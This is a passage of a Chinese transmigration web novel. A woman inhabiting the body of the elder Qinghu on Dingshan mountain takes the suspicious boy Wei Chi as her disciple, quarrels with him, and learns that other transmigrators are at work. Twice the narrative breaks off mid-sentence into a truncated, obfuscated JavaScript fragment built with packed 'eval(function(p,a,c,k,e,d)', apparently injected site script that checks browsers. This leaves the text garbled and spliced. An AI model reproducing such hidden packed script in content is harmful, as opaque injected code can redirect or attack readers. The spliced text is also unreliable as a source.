躺着的是齐云鲤,坐着的是个眉目如画的女子,不过神色有点凝重。她是鼎山掌管大小事务的人,名叫罗白音。由于身体不适,所以坐着轮椅。 相关检查结束,负责医疗事务的鼎山弟子已经离开。 旁边站着的模糊人影这才说出一句话。 “虽然很少,但是也有,所以她不是青湖。” 声音很柔,听起来是个温柔女子,不过内容极其严重。 一句话就点明齐云鲤的身份。 床上躺着的看似青湖,其实并非青湖。 罗白音眉头拧成一个结,很不可思议:“他人魂魄还可以调动青湖师叔身体?” 青湖师叔指的就是齐云鲤那具躯体。 “基本不可能,但超出寻常或许可以,”模糊人影点点头,伸手指向床上那具躯体,“她原本就不是常人。” 附身夺舍之事不是没见过,但事后情况会根据魂魄和身体的异同产生变化。 如果原本只是个普通人,那么附身夺舍相当简单。 要是原本异于常人,也许魂魄会无法调动身体。一旦在二者较量中魂魄处于劣势被躯体压制,要调动身体就难于上青天,还不如自己闭关修炼。 若是有宵小之辈夺得修为高深之人的身体,十有八九会瘫痪倒地。 超出所能的事谁都无法掌控。 青湖本人虽然默默无闻,但那是由于太过匪夷所思,远超常人所想。 ——已经不是常人所能理解的修为高深。 罗白音对青湖的认识是远超常人想象。 但目前更匪夷所思的是竟然还有人能调动她的身体。 这是哪里冒出来的旷世奇才? 模糊人影总结:“刚好那个也不是常人,估计二者挺吻合。” 之前鼎山弟子在禁地碰到的青湖能正常作答,言行都没问题,即使最后晕了,魂魄也没有被身体排斥。 足以见得彼此相当和谐,仿佛相识已久。 但青湖师叔跟人只有打和不打的关系。 因此从哪里冒出来这么个人,就完全想不通。 ——还没听说世间有这种人物。 “你有线索吗?”模糊人影问。 罗白音无奈摇头,只是说:“我之后叫人打探一下。” 见她眉头紧皱,模糊人影便说:“虽然身份不明,也不用过于担心。毕竟也算经过青湖检验,没有大碍。” 她说完就摆摆手,然后化作云烟飘散出去。 罗白音看着床上那个人,只能低头沉思。 这次鼎山禁地出事,绝不寻常。 三更半夜一名鼎山长老带着人炉去禁地挖草药,谁知突然遭袭。 最后一死一伤一晕,只有死的那个清白。 剩下的两个都绝非常人。 那个人炉是止水宗千方百计也要抓到手的,为了把他救出来,玲珑道人殚精竭虑,将所有能用上的招式全都使出来。 好不容易救出来,谁知带到鼎山禁地挖草药,玲珑道人就惨遭毒手。 与此同时出现一个面具人,还有与世隔绝的青湖师叔,搞得像是逢年过节赶集凑热闹。 而且那个人炉就连人炉之火都被炼化出来,还一副无关紧要的样子,更是世间罕见。 也不知道跟面前这个青湖师叔相比谁更可疑。 罗白音觉得背后必然有什么阴谋,因此利用护山大阵铺设传音阵法,让外面的鼎山弟子趁机打探虚实。 她是鼎山弟子的师姐,彼此还算熟悉。 因此收到指令的鼎山弟子劝说完毕就开始询问之前的情况。 外面一大群人还在热烈讨论,只是现在变成那个少年在说话。 他先是谢过其他人提醒,然后回忆起之前的事。 “当时太过吓人,漆黑一片又冰冷刺骨,面具人跟那位大师打在一起,乒呤乓啷响个不停。虽然有光影变幻,但我也看不清楚,只是听见响了很久,最后有东西重重倒下,还有些温热的水溅到我脸上。” 玉兰花下的消瘦少年说出一段经历,虽然描述得相当模糊,不过十分符合鼎山弟子对他的印象。 毕竟谁也不会相信他会亲自动手。 现在他坐在那里,感觉没死就是万幸。 ——可是罗白音觉得他的命也太硬。 “之后面具人施法布阵,我这才看清倒地的是那位大师,他遍体鳞伤,胸口已经没有起伏,”少年低头叹息,“接着面具人布阵到我身上,说是要什么人炉之火。” 这是哪个鼎山弟子都无法容忍的,毕竟炼化人炉之火就类似让人万劫不复。 而其中的人炉就在眼前,侥幸才没死,众人不由皱紧眉头。 ——人炉之火出来了还没死,这就十分不同寻常。 “唉,我也没办法,只能由他百般折磨……”少年抿唇不语,沉默很久才说,“幸亏突然有人大喊一声打过来,面具人被打断施法,就跟对方缠斗起来。后来出手的那个人是个女子。” 他说完就伸手指向内院,意思是在那边的齐云鲤。 “他们打架时也说什么人炉之火,好像是那个女的抢过去用来打面具人,不过打了很久也没分出胜负,”少年一抬头就伸手示意,“最后是你们来了那个女的才把面具人打跑。” 这话一出,马上就澄清齐云鲤的立场。 虽然她使用人炉之火,但那是从面具人手里抢过去的,然后用来打跑他。 她绝对没有伤天害理,为非作歹的只有面具人。 ——打架是青湖师叔最擅长的事,但是她之前只分生死,不较高下。 “我也算是被她所救,不然早就死了……”少年伸手一拜,“救命之恩绝对不敢忘。” 他态度这么诚恳,鼎山弟子也不好再责怪青湖师叔。 只能说世事难料,稀奇古怪的事层出不穷。 ——人炉还帮青湖师叔说话? 罗白音利用传音阵法获得信息,只能说是匪夷所思又错综复杂,接下来就要看看屋内情况。 好在阴谋诡计这种事她早已见怪不怪。 众人还在外面说话,躺在床上的齐云鲤这才睁开眼,然后看到床边坐着个貌美如花的女子,衣着光鲜,只是感觉有点吓人。 谁知那女子一开口更吓人,因为她说:“青湖师叔。” 仿佛是病房里有医生说她病情比较严重,还是想开点,能干什么就干什么。 鼎山弟子虽然彼此之间没有辈分尊卑,但他们之前的鼎山中人还是略有讲究。 青字辈是个相当长辈的辈分,时间久远到至今只剩一个人,那就是青滔。 在小说里,他是鼎山绝对不能惹的人。 以至于大家都认为宁愿得罪掌门,也不能得罪青滔。 他是比鼎山掌门还要高人一等的存在。 万一被他打,那就心无杂念地挨打。 一旦有人上去阻拦,他只会打地更凶,最后跪地求饶也无济于事。 他即使搞出没用的剑阵,其他人也不敢指责,只当是个玩笑。 那位都已经这样,青湖还能好到哪里去? 齐云鲤想到鼎山开山祖师是天一道人。 天一生水,滔和湖都是水,越想越不吉利。 虽然在小说里没出现过,不过小说篇幅有限,还有很多地方没写到。 之前有读者猜测会不会有幕后黑手,青湖这名字听起来就很像。 难道找来找去,结果最后发现凶手就是自己? 她没有开口,罗白音并不急,转而说起其他事情:“玲珑道人已经安葬好,他带来的那个小孩正在外面跟鼎山弟子说话。” 说起幕后黑手,外面那个也像。 ——毕竟他又不是小说男主。 齐云鲤打量一下四周环境,布置得相当简单,没有任何装饰,可见此地主人是个讲究办实事的。 感觉事情有点严重,她想了想,只能低声叹息:“之前在禁地那个面具人太难对付,我跟他打很久也没有分出胜负。千钧一发之际还差点被暗算,幸亏玲珑道人出手相救,我这才逃过一劫。” 罗白音知道这是假话,但是没有拆穿。 人炉跟这个青湖师叔的说法不一致,那就看看是什么把戏。 大不了把他们两个都埋了。 “后来又借用那个小孩的人炉之火才打退面具人,惭愧啊……”齐云鲤摇头叹息。 人炉之火不是寻常物件,而且出自外面那个人炉。 因此罗白音扬声问:“人炉之火哪里来的?” “面具人炼化出来的,我只是抢了……”齐云鲤赶紧解释,生怕又背上罪名。 之前的情况略有出入,但人炉之火出自面具人,这是双方的共同内容。 看来是他炼化出人炉之火,又击毙玲珑道人。 既然里外两个人都可疑,不如—— “玲珑道人已经殒命,不如青湖师叔你收他为徒?”罗白音提议。 齐云鲤不禁愣住,她想来想去也没想到还有这种办法,那个少年可疑,青湖也可疑。与其两人各搞各的,不如凑到一起,方便一块解决? 她越想越有道理,很久之后才发现自己现在就是青湖的身份。 ——对面那个可是亲自拿出人炉之火的人炉,当然惹不起。 “亲自带徒这种事还是有点……”齐云鲤有点犹豫。 她突然想起之前一件事,就问:“鼎山弟子是否学过从布阵环境里获取阵法之力?” “哪里还有这种事?”罗白音有点不悦,“没教过。” 这种做法不是出自鼎山,那么鼎山弟子又是从何得知? 齐云鲤有些困惑,不免低下头。 罗白音感觉她是在转移话题,便赶紧强调:“他现在跟鼎山弟子聊得很好,青湖师叔不愿意那就让他跟着鼎山弟子,反正他们带新人也是常有的事。只是青江师伯有点麻烦。” 师兄师姐带师弟师妹,这是一件鼎山常见事。 不过鼎山弟子是中流砥柱,那个人却行迹可疑,万一连累他们可就大事不好。 身为长辈都无可奈何,鼎山弟子怎么可能有办法? 她是要填坑,不是挖坑。 而且青江又是谁,怎么还有个青字辈? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鼎山的拜师仪式没什么重要的,因此罗白音只是象征性询问师徒双方姓名。可是齐云鲤说出青湖的名字后,那个少年却说自己姓卫,但是还没取大名。 没大名的人鼎山早已见怪不怪,但这时罗白音却计较起来。 “玲珑道人带你上来,竟然还没给你取名?” 这话问得就有点诡异,毕竟鼎山货真价实的师徒很少,玲珑道人带他上山,明显就是要收徒。 两人一起呆了两三天,竟然都还没取名。 莫非他根本就不是玲珑道人带上来的? 少年低着头,也没有辩解,任由旁人猜测。 齐云鲤瞬间察觉不对劲,罗白音之前凶她,现在凶那个人。 凶她就算了,那个人绝不是善类,万一他记仇那可不好办。 姓卫那就说明他是小说男主身份,不过还没名字又是怎么回事? 小说里男主自己取名叫长夜,全名卫长夜,《长夜道枯》说的就是他。 现在他说还没大名,莫非要师父取名? 齐云鲤有点头疼,如果由她说出卫长夜这个名字就太不吉利。 ——仿佛是在咒他早死早超生。 不过眼下局面有点僵,她只好开口解释:“之前在禁地的打斗比较激烈,玲珑道人又不幸殒命,估计对他来说是一种刺激……” 少年抬头看了一眼。 罗白音则眉头一皱,这明显就是在帮那少年说话。 ——两个人居然还是一伙的? 幸亏没让他们去祸害别人。 于是她象征性地要师父赐名,只是神情有点凶。 齐云鲤有点为难:“我先想一下……” “你想不出来?”罗白音有些气势汹汹。 齐云鲤不得不感慨她就是朵食人花,说也不是不说也不是:“只是一时没有头绪……” “又不用引经据典,没必要考虑太久,”罗白音有点嫌弃,“要不就用师叔你名字里的湖字。” 要是真的用了湖字,齐云鲤感觉会永世不得超生。 鼎山弟子感觉这像是在逼问审讯,以前没见罗白音这么咄咄逼人。 “……叫卫池!”齐云鲤灵机一动,“虽然都是水,不过也不用同一个字。” 罗白音挑眉问:“为什么用这个字?” “嗯,那边有个池塘……”齐云鲤隐约猜测,感觉像是有这么回事。 罗白音没有否定,也就是说青湖的住处确实有个池塘。 这个名字的寓意在鼎山还算不错,因此她没有意见,只是略微点头。 不过旁边的少年微微一愣,就低下头。 名字并不罕见,也不常见。 ——虽然都是水,不过这个水有点稀奇。 拜师仪式结束,罗白音就郑重说起其他事——也就是龙息。 龙息是遍布天下的一种气息,由于基本跟真龙呆在一起,所以称之为龙息。虽然眼下真龙消失,但龙息依然存在。 真龙消失以后的龙息就变得不再稳定,时常引起动荡。 为了平定那些动荡,鼎山弟子时不时出去收集龙息,减轻龙息对某地的压迫。 收集回来的龙息主要集中在禁地,因此常人进去会倍感不适。 人炉其实也跟龙息相关,所以会被止水宗盯上。 实际人人都有龙息,只不过量很少,微不足道。 原本青湖身上没有龙息,现在又出现一些,因此可以确定她的魂魄已经换人。 罗白音当然没说出青湖的事,只是说卫池身为人炉,那就得先学会如何跟龙息相处,以免日后出事。 她的态度很温和,跟之前的咄咄逼人截然相反。 卫池点点头,没有任何疑问。 见他们两个总算没有明显矛盾,齐云鲤这才松口气。 ——这要是还闹起来,那就没有活路。 4. 争执 飞泉院里夜色正浓,似乎一切都沉沉睡去,不过四周立着灯笼,又有一棵花开正盛的白玉兰,仿佛沉睡中的生机。 虽然现在花瓣闭合,但院内并不因此显得压抑。 罗白音将相关事情细说一遍,然后就叫青湖师叔带徒弟回去休息。 齐云鲤一愣,小说里没这个人,她怎么知道青湖住哪里? 夜色深沉,还不能就在这里休息? 黑灯瞎火的要走到什么地方? 她没动弹,罗白音也不催促,只是局面有些微妙。 一人隐约有些期待,另一人却恍若未觉。 ——谁也没说话,又谁都没有动。 鼎山弟子发现不对劲,但不敢言语,只好赶紧跟卫池使眼色,让他尽早离开。 因此在快要僵持不下去的时候,卫池拱手抱拳:“今日多谢诸位出手相救,他日我学有所成,必定回报这份恩情。” 朦胧灯光下,瘦弱无力的少年彬彬有礼,仿佛玉兰花下的小小青松。 不过一件小事说得很郑重,齐云鲤总觉得他意有所指。 毕竟他又不是小说男主,谁知道要怎么回报。 “有些事你也插不了手,别给鼎山添麻烦就行。”罗白音没有客气。 这句话更是意味深长,齐云鲤感觉又要出事,于是马上拖着卫池离开飞泉院,还说:“他先休息两天缓一下,不急不急。” 那两人前脚刚走,罗白音就看一眼鼎山弟子说:“你们盯着点。” 然后她就推着轮椅回房间。 外面的鼎山弟子左看右看,感觉没问题,又感觉哪里都有麻烦。 三更半夜莫名其妙的事一件又一件,仿佛张灯结彩。 最后实在想不通,他们只好叹口气就回去休息。 离开飞泉院没有光照,齐云鲤只好施法变出一个小灯笼。 灯笼光照不强,但自己漂浮在半空,不用手持。 他们在光照下走在山路上,两边郁郁葱葱,即使三更半夜也颇有生机。 行走的两人一高一低,齐云鲤是更高的那个,卫池则消瘦矮小。 不过他们并不平静,一个疑神疑鬼,一个疑窦重重。 沉默片刻,卫池就问:“你知道路怎么走?” 他们两人离开飞泉院就一路向下走,路边什么也没发现,因此走个不停。 这个问题很普通,但出现在这里就不同寻常。 “难道你还知道?”齐云鲤有点不服便伸手一指。 卫池说着就指指另一边:“又不是没来过。” “你之前还来过?”齐云鲤转头望一眼,感觉有个开阔区域。 卫池故做惊讶:“难道你没来过?” 意思就是他来过鼎山,他来这里只可能是拜师。 而且他还真就是小说男主,只不过现在发生一些转变,不再是小说开头那个状态,知道很多稀奇古怪的东西。 不过知道得也有点太多…… 齐云鲤很疑惑:“你怎么对一切都很熟?” “这里就类似是轮回,不断重复又永无止尽。”卫池说得像是无关紧要。 但这件事相当严重,也就是到某个时候会从头再来,而且不止一次。 目前看来是到鼎山灭门为止,那么这样重复有什么目的? ——不断重复难道是为了解决鼎山灭门的问题? 卫池经历数次轮回,必然知道鼎山灭门惨案,按理来说应该要去阻止。 阻止鼎山灭门惨案也是齐云鲤的目的。 她总算觉得没那么棘手,知道真相的不止自己一个。 匪夷所思层出不穷,因此还是有点把握比较好。 于是她问:“你真没大名?” “之前的不吉利,还是换一个比较好。”卫池没有犹豫。 这么说的意思就是他知道自己原本会叫卫长夜。 那名字确实不吉利,不过现在这个名字…… 想到这里,齐云鲤终于察觉一件事:“你对名字不满意可以自己改。” 在《长夜道枯》里,取名可不是随意之事。 ——名字基本都有寓意。 对名字要求高,还是别假他人之手,以免观点相左。 而卫池这个名字显得相当随便,说起这件事他就严肃起来,问:“为什么要用这个字?” 一听就是要问个所以然。 于是齐云鲤给出一个冠冕堂皇的理由:“鼎山开山祖师是天一道人,天一生水,池就是水。” 天一道人也算是天下闻名的角色。 “莫非还要继承他的遗志?”但卫池问得有点讽刺。 齐云鲤没反应过来:“……难道不行?” “听说这位死得很惨。” 卫池点出真相,齐云鲤这才想起小说里的描述。 天一道人创立鼎山后就四处救灾,没一天消停过,结果累死在路上。 奔波劳累一生,最后暴尸荒野。 这个下场确实不好,齐云鲤只好改口说:“上善若水,水善利万物而不争。处众人之所恶,故几于道。” 这是《道德经》里的话,齐云鲤感觉还有点道理。 不过卫池说:“重点就是处众人之所恶吧?” 单看这一句,感觉像是在咒他不得好死。 齐云鲤生怕他多想,只好叹口气再解释:“人往高处走,水往低处流,因此上善若水的位置其实是居于下方。虽然人往高处走,但没有人可以脱离低处,人不是悬浮于高处,而是以低处为基础,向高处前进。一旦没有低处,自然也不可能有高处。” “不就是得被踩在脚下?”卫池自然不懂。 “人往高处走,有时候只是隔壁邻居也想跟对方一争高下,其实谁都不想呆在下面。可谁也无法脱离下面的基础,平地起高楼的前提是地基要稳,”齐云鲤继续说,“如果没有地基,那么房子很快就会垮塌。” “要死大家都有份?” 这句话很短,但跳得很高,可齐云鲤再怎么咬牙切齿,也只能继续回答。 “处众人之所恶,故几于道。就是虽然大家都嫌弃最下面的,但谁都不能没有下面的基础。谁都不想呆在下面,但谁也离不开水,没有水的地方就没有活物,”她总算说出最关键的一句话,“水看似低贱不起眼,其实是万物基础。“ 齐云鲤觉得自己说得合情合理,没有任何破绽。 谁知卫池说:“说得这么好听,还不是有洪水泛滥。水能滋养万物,但是也能摧毁万物。今天能让你吃饱喝足,或许明天你就死无全尸。” ——这话就类似明目张胆砸场子。 “不是,你有病吧?”齐云鲤实在忍无可忍。 卫池说出一个结论:“在这里你不可能打赢我。” “难道你还想让其他人死无全尸?”齐云鲤感觉都快打起来。 “也许死的只有你。”卫池伸手一指就转身下山。 齐云鲤跟在后面说:“我要是死了那你也别想活。” 这对师徒一前一后走着,谁也没有言语。 原本总算平静下来,结果卫池又突然开口:“人炉之火你知道的有点多。” “那不是你给我的吗?”齐云鲤有点忿忿不平,“还好意思说我!” 走在前面的卫池神色一敛,这个人的反应跟鼎山弟子截然相反。 人炉之火对某些人来说算丧心病狂,对另一些人来说则是稀世珍宝,无论如何都不会是这种态度。 这种将人炉之火视作日常事物的态度绝无仅有。 刚才说的那些话她也完全没当回事,仿佛只是在闲话家常。 没想到青湖体内那个魂魄居然是这个样子。 他接着说:“青湖这个人本来就有点可疑,你来了以后更可疑。” “你连她都知道,我看你才可疑,”齐云鲤翻个白眼,“谁会像你这样?” ——卫池在想也没人像她这样。 既然两个都异于常人,那就没必要争斗。 “我们两个还是别斗起来的好,不知阁下高姓大名?” “问这个干什么?”齐云鲤没有回答,只是强调,“我对鼎山绝无恶意,只不过是要解决一些问题,问题解决了我就走。” “我也一样,不如我们两个合作?”卫池显得很诚恳,“你真名叫什么?” 齐云鲤皱起眉头,彼此通报姓名似乎合情合理,没有理由拒绝。 她想了想,感觉没什么大不了的,便说出名字:“齐云鲤。” 不过这平平无奇的三个字却让卫池全身一震,他转过身瞪着她,似乎有怒意,像是要打人。 ——这个名字并不特殊,但是对他来说绝不普通。 “……干什么?”齐云鲤不知道其中关窍。 “我说怎么会用那个字,”卫池的声音有点颤抖,像是发现什么见不得人的秘密,“原来是要我垫背。” “你以小人之心度君子之腹。”齐云鲤继续翻白眼。 “你不会有好下场的。”这是卫池货真价实的诅咒。 不过这种明面上的恶实在算不上什么。 因此齐云鲤只是皱起眉头说:“你果然病得不轻。” “反正没你死得早。” “你能多活一口气就烧高香吧。” “你运气再好,也只能等人给你来上香。” “那你就先在香炉里吧。” 能顺利走到青湖的玄镜池原本是件好事,但两人此时已经对如何能多活一口气争得你死我活。 争了一路也没分出胜负,不过反正都是对面那个先死。 玄镜池就是个池塘,四周有木屋和树林,只是没什么踩踏痕迹,明显很少有人进出。 齐云鲤原本想了很久才想出一通能气死人的话,谁知不远处的湖面上突然有一道黑影闪过。 虽然看不细节,可那身形狭长头顶长角,身上还有鳞甲的模样只可能是龙。 她知道鼎山有龙息,却不知道这里还有龙。 小说读者想出千百种方法来证明鼎山不可能被灭门,但是那些理由都不如现在这个靠谱。真龙已经从世间消失,现在鼎山却有龙影? 有龙还被灭门,那就是要毁天灭地的前奏。 小说进程还没过半,毁天灭地不如断更,毕竟谁都无法接受。 鼎山有龙鼓论战,五年一次,颇为盛大。 小说读者原本万众期待男主在龙鼓论战上大显身手,不过谁也没想到龙鼓论战就是鼎山灭门的日子。 原本应该人头攒动,声势浩大,结果遍地尸骸,血流满地。 如果找到龙是不是就能解决这个问题? ——龙鼓论战或许原本也会出现龙? 齐云鲤发现填坑的秘诀,于是不再理会卫池,直接跳进湖里找起来。虽然有避水之术防止呛水,但是将玄镜池翻个底朝天也没找到跟龙有关的任何东西。 等她从水里出来时,天已经蒙蒙亮。 玄镜池的房子就一个,因此齐云鲤直接爬上岸走过去。 侧门是关着的,估计卫池在里面,于是她就走进主门。 室内很普通,都是寻常可见的家具摆设,没什么特殊的。桌上放着一面镜子,齐云鲤就走过去拿起来一看。 镜子里的人很清秀,没有令人印象深刻的美貌,也没有不堪入目的丑陋,寻常得仿佛随处可见。 但齐云鲤瞬间就放下镜子,感觉背后凉凉的,也不知道是湖水的寒意还是刹那间冒出来的冷汗。她全身抖得相当明显,像是恐惧至极。 ——而且这个房间竟然有种熟悉的感觉。 仔细一想,小说里完全没有青湖这个角色,可她跟青滔同辈,还能三更半夜独自出现在鼎山禁地。 最开始齐云鲤是从崖壁上掉下去的,之后就被面具人和卫池同时攻击,他们完全没有将青湖当作自己人。 卫池还说青湖可疑。 现在看来岂止可疑那么简单。 ——她现在用着青湖的躯体顿时有种毛骨悚然之感。 晨光熹微时,有人敲响卫池房间的门。他开门一看,外面站着的居然是齐云鲤,她面无血色,身上湿哒哒的,仿佛刚从湖里出来,而且还冒着寒气。 “我跟你换个房间,你去那边住。”齐云鲤说得理所当然。 卫池想起她之前跳到湖里去,不由皱起眉头:“你有病吧?” “嗯,我有病,住这边有治疗效果,”齐云鲤没有否认,直接走进房间,“你现在就过去。” 她走进来把路上弄得全是水,卫池只能皱眉换房间。 不过换到那个房间一看,四周都有水迹,就连床单都有部分是湿的。 卫池把上上下下查看一遍,发现没有一个地方干燥。 想起之前争了一路,他不得不怀疑齐云鲤是故意的。 于是他跑回侧门,结果发现室内空无一人,转头张望才看见不远处的草丛里蹲着一个人。那人蹲一下就挪个地方,没过多久已经把草丛走完,进树林去了。 卫池不知道她是干什么,反正这两天自己也还休息,于是就呆在室内。 曾经听说有人在使用他人躯体之后惶惶不安,当时还以为是在说笑,现在才发现确实如此。 不过外面那人已经把玄镜池一带绕了三圈还没消停,他也不免有些头痛。 因此等齐云鲤再次绕到侧门口时,卫池就走过去递给她一个卷轴。 “这里面是秘境,你可以住进去,就不用住那个房间。”他和颜悦色地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毕竟此时盯着自己的那双眼睛仿佛能生撕她。 沉默很久,卫池才说出一句话:“我父母已经双亡。” 小说男主是在父母帮助下顺利到达鼎山的,之后他父母便在鼎山的地六镖局干活谋生,虽然没有荣华富贵,但也平安无事。 齐云鲤突然想起罗白音说卫池是玲珑道人带上鼎山的,瞬间就吓出一身冷汗。 小说里根本就不是这么回事。 ——这岂止是小说断更的问题。 卫池没再说话,齐云鲤也不敢逗留,直接跑回青湖那个房间。 虽然之前呆在那里很恐怖,但现在相比之下实在没什么大不了的。 齐云鲤缩到被子里,不知不觉就睡过去。 等她醒来时看到四周昏暗无光,还有点阴冷,自己身上的被子又不见了。 她伸手一摸,发现在木台上,旁边似乎还站着一个人。 “是你!”齐云鲤不免有些气,这不就是之前装神弄鬼的石月观音? 石月观音点亮一盏灯,声音听起来就要哭了:“问题解决了没有?” “这里的问题比小说里还多。”齐云鲤说得很严重。 石月观音有些无奈:“所以要借助你的力量。” “你说的那个她到底是谁?”齐云鲤没有放弃这个问题。 石月观音转头看着窗外的白玉兰,很久才叹口气:“你还是没想起来……” 她叹完气却没回答,只是望着窗外。 齐云鲤转头一看,白玉兰在夜色下泛着微弱的光,她想起鼎山飞泉院里也有白玉兰,不过小说里貌似没有相关描写。 “飞泉院在小说里有什么花草吗?”齐云鲤问。 石月观音皱眉道:“那是鼎山之巅,不是养花种草的地方。” 不是养花种草的地方,可飞泉院的确有白玉兰。 鼎山出现一个闻所未闻的青湖,跟青滔同辈分,却几乎无人知晓。 禁地出现一个面具人,深红面具上怒目圆瞪,仿佛神灵下凡。 最诡异的是小说男主父母都在鼎山地六镖局干活,而卫池已经父母双亡。 从他的反应来看不像自然身亡。 可他父母在剧情上没有任何作用,难道杀人是为了泄愤? 越想越离谱,稀奇古怪的事还有一大堆,因此齐云鲤不得不怀疑—— “这里真是小说吗?” “如果不是我就不得好死。”石月观音严词保证。 她态度坚决,齐云鲤只好转变思路,既然这里是小说,那么问题出在哪里? 想了一下感觉作者可疑,自己也可疑。 如果小说跟自己有关,那她现在不就是活该? 于是齐云鲤尽量平静地问:“小说作者你了解多少?” “三人行这孙子不得好死!”石月观音咆哮大吼。 三人行是作者笔名,由于断更之后再无下文,因此读者改编出一句话:三人行必有我死。 这话虽然听过千百遍,但现在看起来要死的说不定有自己,齐云鲤只好劝说:“……没这么严重吧?” “他就是丧心病狂、丧尽天良!”石月观音继续声讨,仿佛恨不得昭告天下。 齐云鲤赶紧劝:“好了好了,现在只是要知道作者实际情况,你冷静点。” “三人行死无葬身之地!”石月观音声音更大。 齐云鲤劝得很无力:“你骂他也没用,小说的坑不会自动填上……” “我看他就是故意的,故意让鼎山惨绝人寰,故意让男主背上血债!” 骂半天总算出现一个可以转移话题的对象。 “我收男主为徒了,不过……”齐云鲤正要说出卫池的可疑。 石月观音迅速打断她的话,开始描述小说男主的特性:“他就是人间最惨,虽然天纵奇才,但由于太过突出而遭到老天爷嫉妒。不过即使这样,他也没有跪地求饶,而是跟着鼎山弟子潜心修炼,很快就下山去除暴安良。虽然路上有止水宗、三渺宗,但是对他来说都不过如此……” 她开始滔滔不绝讲述小说男主的经历,他也算是把能得罪的都得罪了。 除了魔道止水宗,还有个名门正派三渺宗也看他不顺眼。三渺宗喜欢照规矩办事,可男主完全不将那些规矩放在眼里。 于是双方斗得没完没了。 这些事情当然令人头痛,但如今看来才发现那就是坏得天真烂漫。 明晃晃把坏写在脸上,这其实再好不过。 ——在暗处捅刀的人才是最难防。 “男主没问题,他绝对跟鼎山是一边的。”石月观音郑重保证。 话都说到这里,齐云鲤也不好再说什么,卫池的问题不能说出来。 说出来石月观音也不会相信,估计还会吵得不可开交。 她只是转头看了看窗外的白玉兰。 白玉兰的光很微弱,可是在漆黑夜幕下就像唯一的前进方向。 仿佛这个七零八碎的小说世界还能修复。 5. 疑点重重 有些事不能说,但另外一些事不说不行。 白玉兰泛着微光,总得在光照下做些什么,不能辜负黑暗里唯一的光。 齐云鲤语气平静,伸手往下一拍,才说:“你冷静点,我跟你说一件事。” “男主的坏话就不用了。”石月观音态度坚定,像是知道自己对男主的态度异于常人。 齐云鲤叹了口气:“不是男主,是其他人……” “还有什么人?”石月观音有点迷惑。 “之前男主跟师父去禁地挖草药,结果碰到一个面具人,”齐云鲤说出关键,见对方听进去了,就详细描述起来,“面具是深红色的,上面的脸怒目圆瞪,仿佛欠他百八十万。” “一看就不像好人。”石月观音皱眉评价。 “岂止看着不像,他杀死男主师父,还将男主炼化出人炉之火……” “那你在干什么?!”石月观音瞬间就怒气冲冲。 齐云鲤赶紧解释:“当时我那个躯体被打到不远处的崖壁上,之后掉下去又被打,等我缓过来的时候,前面的事都已经做完……” “那男主现在呢?”石月观音有点急。 齐云鲤见她只有这个重点,不得不感慨真是忠心耿耿。明明自己掉下崖壁还被打,谁知在她眼里就是无事发生。 “男主没事,就是他师父玲珑道人已经身亡,所以我收他为徒。” 确认男主平安无事,石月观音才舒一口气,她对齐云鲤收徒一事毫无兴趣,只是说:“那面具人不是小说里的。” “显然不是。”齐云鲤摇摇头。 石月观音不可思议:“外人无法擅闯鼎山,而他居然还能跑到鼎山禁地?” “而且是三更半夜过去的。”齐云鲤强调。 鼎山四周皆铺设阵法,一旦外人靠近,就会被阻挡在外。直到鼎山弟子过去确认,外人才能踏上鼎山的土地。 之所以这么严格,是因为鼎山四周环境比较恶劣,妖魔鬼怪层出不穷,还有一些邪魔歪道也想趁虚而入。 因此鼎山做了很深的防备,只有被护山大阵认可的鼎山中人才能正常出入鼎山。其他人没有鼎山弟子的认可,根本无法进入。 面具人明显是个外来者,又显然没有获得鼎山弟子的认可,却能直接进入鼎山禁地,事情不是一般严重。 不知道是何方神圣在鼎山禁地为非作歹。 本想听石月观音的意见,结果对方就此沉默,很久也没说话。 若不是窗外的白玉兰还泛着光,齐云鲤都要以为此地空无一物。 她有些莫名其妙,不知道出了什么事。 但是看石月观音的脸色,感觉有很重要的事。 可她一直不说,齐云鲤也不好催。 “那我也告诉你一件事……”很久之后石月观音才开口说话。 一听就没好事,不过齐云鲤也不能怎么样,只有点点头。 “其实穿书者不止你一个。”石月观音小声说。 这是个相当刺激的消息,既然穿书者不止一人,那其他人在干什么? 这片天地比小说乱七八糟得多,难道还有外人插手? “你的意思是面具人也是?”齐云鲤意有所指。 石月观音叹息道:“基本就是。” “他在干什么,不用填坑?”齐云鲤有点不满,感觉为此困扰的只有她一个。 石月观音摇摇头,又叹息一声:“之前小说断更的时候,网上的读者吵得天翻地覆,你知道吧?” 齐云鲤当然知道这件事,随着小说断更,网上仿佛炸开锅。随时随地都能吵起来,无论在什么地方。 毫不相关的新闻下面,也有人说着说着就吵起来,还指认对方是罪魁祸首。 吵得最凶的时候更是直接废了一个论坛。 ——如果说吵架的那群人来到这边,都有点不敢想象。 “来这边的穿书者未必会帮忙?”齐云鲤有点怀疑。 石月观音沉默摇头,仿佛已经领教过什么。 “就算不帮忙,但是出现在一开始的禁地就……”齐云鲤想了想又摇头,“那个人看起来也太过神通广大、无所不能。” 如今穿书也算是个常见事,不过其他人穿书以后都有点束手无策,没人像那个面具人一样神出鬼没、手段残忍。 不说他是穿书者,旁人可能还以为是神灵下凡。 齐云鲤在专心怀疑,只是没发现她自己也并非束手无策。 “有这种本事的绝不是普通读者,”石月观音得出结论,“说不定是三人行。” 齐云鲤还没反应过来,对面又骂起来。 “估计他就是写不下去,所以要毁掉这个世界!之前写的那些剧情,各种折磨男主,我一看他就不是好东西!他想方设法折磨男主,谁知男主百折不挠……” 石月观音骂起来就没完没了,齐云鲤无可奈何,只能等她骂完。 等到骂声渐渐停歇,齐云鲤才小声问:“我还要跟你说一件事……” “又怎么了?”石月观音有点不耐烦。 “有读者跟男主有仇吗?”齐云鲤问得很小心,毕竟卫池确实父母双亡。 石月观音说得很随意:“多了去了。” 但是这跟齐云鲤的观点不同,她感觉男主从头惨到尾,虽然不少人跟他有仇,不过这跟读者没关系吧? “……这还能有仇?”她实在想不通。 石月观音点出关键:“惨不是重点,重点是再怎么惨也能爬起来,这对有些人来说就有点天理难容。” 